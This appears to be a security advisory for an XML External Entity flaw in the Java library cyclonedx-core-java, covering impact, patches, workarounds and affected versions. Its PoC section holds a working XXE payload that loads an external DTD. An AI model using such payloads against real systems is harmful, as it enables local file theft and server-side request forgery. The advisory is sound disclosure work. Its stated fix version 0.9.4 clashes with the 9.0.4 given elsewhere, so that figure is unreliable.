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Security Advisories: GSA_kwCzR0hTQS02ODN4LTQ0NDQtanhoOM4AA9UM

Improper Restriction of XML External Entity Reference in org.cyclonedx:cyclonedx-core-java

Impact

Before deserializing CycloneDX Bill of Materials in XML format, cyclonedx-core-java leverages XPath expressions to determine the schema version of the BOM. The DocumentBuilderFactory used to evaluate XPath expressions was not configured securely, making the library vulnerable to XML External Entity (XXE) injection.

XXE injection can be exploited to exfiltrate local file content, or perform Server Side Request Forgery (SSRF) to access infrastructure adjacent to the vulnerable application.

PoC

import org.cyclonedx.parsers.XmlParser;

class Poc {

    public static void main(String[] args) {
        // Will throw org.cyclonedx.exception.ParseException: java.net.ConnectException: Connection refused
        new XmlParser().parse("""
            <?xml version="1.0" encoding="UTF-8"?>
            <!DOCTYPE bom [<!ENTITY % sp SYSTEM "https://localhost:1010/does-not-exist/file.dtd"> %sp;]>
            <bom xmlns="http://cyclonedx.org/schema/bom/1.5"/>
            """.getBytes());
    }

}

Patches

The vulnerability has been fixed in cyclonedx-core-java version 0.9.4.

Workarounds

If feasible, applications can reject XML documents before handing them to cyclonedx-core-java for parsing.
This may be an option if incoming CycloneDX BOMs are known to be in JSON format.

References

Permalink: https://github.com/advisories/GHSA-683x-4444-jxh8
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02ODN4LTQ0NDQtanhoOM4AA9UM
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 23 days ago
Updated: 19 days ago


CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Identifiers: GHSA-683x-4444-jxh8, CVE-2024-38374
References: Repository: https://github.com/CycloneDX/cyclonedx-core-java
Blast Radius: 13.5

Affected Packages

maven:org.cyclonedx:cyclonedx-core-java
Dependent packages: 13
Dependent repositories: 63
Downloads:
Affected Version Ranges: >= 2.1.0, < 9.0.4
Fixed in: 9.0.4
All affected versions: 2.1.0, 2.1.1, 2.5.0, 2.5.1, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.7.0, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.0.7, 3.0.8, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.1.0, 4.1.1, 4.1.2, 5.0.0, 5.0.1, 5.0.2, 5.0.3, 5.0.4, 5.0.5, 6.0.0, 7.0.0, 7.1.0, 7.1.1, 7.1.2, 7.1.3, 7.1.4, 7.1.5, 7.1.6, 7.2.0, 7.2.1, 7.3.0, 7.3.1, 7.3.2, 8.0.0, 8.0.1, 8.0.2, 8.0.3, 9.0.0, 9.0.1, 9.0.2, 9.0.3
All unaffected versions: 1.0.0, 1.0.1, 1.0.2, 1.1.0, 1.1.1, 1.1.2, 2.0.0, 2.0.1, 2.0.2, 9.0.4